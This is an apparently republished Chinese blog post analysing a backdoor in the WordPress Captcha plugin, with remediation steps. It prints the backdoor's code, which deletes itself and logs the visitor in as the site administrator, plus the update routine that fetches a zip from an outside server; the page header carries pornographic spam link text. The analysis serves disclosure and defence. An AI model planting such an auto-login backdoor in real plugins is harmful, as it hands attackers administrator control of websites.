日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 >

Captcha插件后门分析和修复

發布時間:2023/12/31 60 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Captcha插件后门分析和修复 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

0×00 前言

近日看到網上爆出wordpress官方插件captcha出現后門,大驚,本人當初千辛萬苦找驗證碼插件,在十幾個插件中選了這款,感覺還挺好用,竟然爆后門,趕緊去博客 排查,還好由于安裝比較早,并沒發現后門,發文紀念一下這次差點中招……
0×01 概述

據說這個后門是偶然被發現的,是因為含后門版本的作者對使用wordpress商標的問題,接著wordpress把captcha下架,繼而wordfence(為wordpress提供waf的廠商)檢查發現插件后門。

這個后門是更新觸發,從4.3.6版本開始(本人安裝的版本)就有后門,執行插件更新就會加入后門代碼。這個后門利用userID(admin)創建會話,設置認證cookie,接著刪除痕跡,后門是管理員權限,但是由于執行了unlink(__FILE__),所以只能被用一次。
0×02 影響范圍

有300000+活躍安裝



后門首次發現在12月4日的4.3.6版本,官方在12月20日刪除該后門,所以4日到20日更新該插件的用戶都必然被植入了后門(幸好本人不(lan)常(de)更新)。

受影響版本:4.3.6~4.4.4
0×03 后門分析

這里利用12月4日的4.3.6版本的源碼分析

https://plugins.trac.wordpress.org/changeset/1780758/captcha

Captcha.php:

首先看看cptch_wp_plugin_auto_update()函數,由函數名可以看出這是自動更新功能,其中$wptuts_plugin_remote_path = ’https://simplywordpress.net/captcha/captcha_pro_update.php‘;

請求這個文件會下載zip對該插件更新,但是本人訪問已經空白無下載(20171222)。



繼續往下到8394行:

if(isset($_GET['captcha']) and? $_GET['captcha'] == 'updateplugin')
{
add_action('init', 'cptch_wp_plugin_auto_update');
}

表示點擊更新則調用cptch_wp_plugin_auto_update()函數。

看看8390行 ?

new cptch_wp_auto_update($wptuts_plugin_current_version, $wptuts_plugin_remote_path, $wptuts_plugin_slug);

那就進入cptch_wp_auto_update這個類看看。

cptch_wp_auto_update.php:

一堆賦值后進入 if($this->cptch_check_update())執行更新

那就來到cptch_check_update()函數看看

關鍵代碼:

$url = $this->update_path; // Local Zip File Path
curl_setopt($ch, CURLOPT_URL, $url);
$page = curl_exec($ch);

接著解壓更新

activate_plugins($my_plugin);

更新的zip內存在后門文件

plugin-update.php:

關鍵代碼:

@unlink(__FILE__);
require('../../../wp-blog-header.php');
require('../../../wp-includes/pluggable.php');
$user_info = get_userdata(1);
// Automatic login //
$username = $user_info->user_login;
$user = get_user_by('login', $username );
// Redirect URL //
if ( !is_wp_error( $user ) )
{
wp_clear_auth_cookie();
wp_set_current_user ( $user->ID );
wp_set_auth_cookie? ( $user->ID );
$redirect_to = user_admin_url();
wp_safe_redirect( $redirect_to );
exit();
}

Unlink(__FILE__):刪除自己

Get_userdata(1):獲取管理員信息

Wp_clear_auth_cookie():移除關聯認證的cookie

Wp_set_current_user():改變當前用戶

Wp_set_auth_cookie():根據userID設置認證cookie

接著攻擊者就以管理員進入后臺。
0×04 修復方案

??? 1.刪除后門文件plugin-update.php。

??? 2.查看captcha.php是否有后門鏈接,有則手動刪除插件再安裝最新版本。

??? 3.更新到最新版本。

轉載于:https://www.cnblogs.com/heikeboke/p/8126560.html

總結

以上是生活随笔為你收集整理的Captcha插件后门分析和修复的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。